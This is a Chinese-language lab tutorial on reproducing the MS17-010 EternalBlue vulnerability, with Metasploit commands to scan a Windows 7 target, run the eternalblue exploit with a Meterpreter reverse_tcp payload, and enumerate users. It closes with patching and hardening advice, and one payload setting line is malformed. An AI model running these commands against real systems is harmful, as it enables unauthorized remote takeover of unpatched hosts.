免责声明
本文仅用于网络安全技术交流与学习,请勿利用文中技术进行任何非法攻击。请在授权的实验环境中进行操作。
0. 前言:为什么要聊“永恒之蓝”?
最近在啃网络安全基础,绕不开的一个神级漏洞就是 MS17-010(永恒之蓝)。它曾引发了席卷全球的 WannaCry 勒索病毒。虽然这个漏洞已经有些年头了,但它是理解 远程溢出、内核权限、SMB协议 的教科书级案例。今天就带大家在实验室环境复现一下。
1. 实验环境准备
我们要准备两台虚拟机,并确保它们在同一个网段(NAT 或 桥接均可),能够互相 ping 通。
-
攻击机 (Attacker) : Kali Linux 2024 (IP:
192.168.239.130) -
靶机 (Victim) : Windows 7 SP1 旗舰版 (IP:
192.168.239.129)- 注意:请务必关闭靶机的防火墙,并确保开启了 445 端口。
2. 漏洞扫描与探测:寻找猎物
在发动攻击前,我们需要确认目标是否存在漏洞。
打开 Kali 终端,启动 Metasploit Framework:
msfconsole
搜索 MS17-010 相关的辅助扫描模块:
msf6 > search ms17_010`
选择扫描模块并配置目标 IP:
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.239.129
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
3. 漏洞复现:远程入侵与执行
确认有漏洞后,直接切入正题。
第一步:设置 Exploit 模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.239.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > set 0.0.0.0
第二步:设置 Payload (攻击载荷)
我们希望获取一个能够交互的 Meterpreter 会话:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[避坑指南] :进入
shell后,大家可能会发现执行ipconfig或查看目录时,中文全是乱码(如下图)。解决方案:
- 输入
shell进入目标 CMD。- 执行
chcp 65001。 这一步的作用是将当前活动代码页更改为 UTF-8,从而完美匹配 Kali 的编码环境。
> C:\Windows\system32> chcp 65001
> Active code page: 65001
4. 后门与控制:不仅仅是拿个 Shell
拿到权限后,我们现在是 SYSTEM 权限(最高权限)。
获取系统信息
meterpreter > shell
meterpreter > systeminfo
meterpreter > shell
meterpreter > net user
远程开启后门
5. 安全防御:如何堵住这个洞?
复现漏洞是为了更好地防御。如果你的电脑还没打补丁,请立即采取以下措施:
- 安装补丁:下载并安装微软发布的 MS17-010 官方补丁。
- 关闭 445 端口:SMB 协议主要使用此端口,若无内网共享需求,建议在防火墙中禁用。
- 启用防火墙:永远不要裸奔!开启系统防火墙能阻挡大部分自动化攻击工具。
- 禁用 SMBv1:在“启用或关闭 Windows 功能”中,取消勾选
SMB 1.0/CIFS 文件共享支持。
6. 总结
“永恒之蓝”虽然老,但它教会了我们:即使是一个系统服务的小疏忽,也可能导致整个系统的沦陷。 学习网安的路上,动手实验才是王道。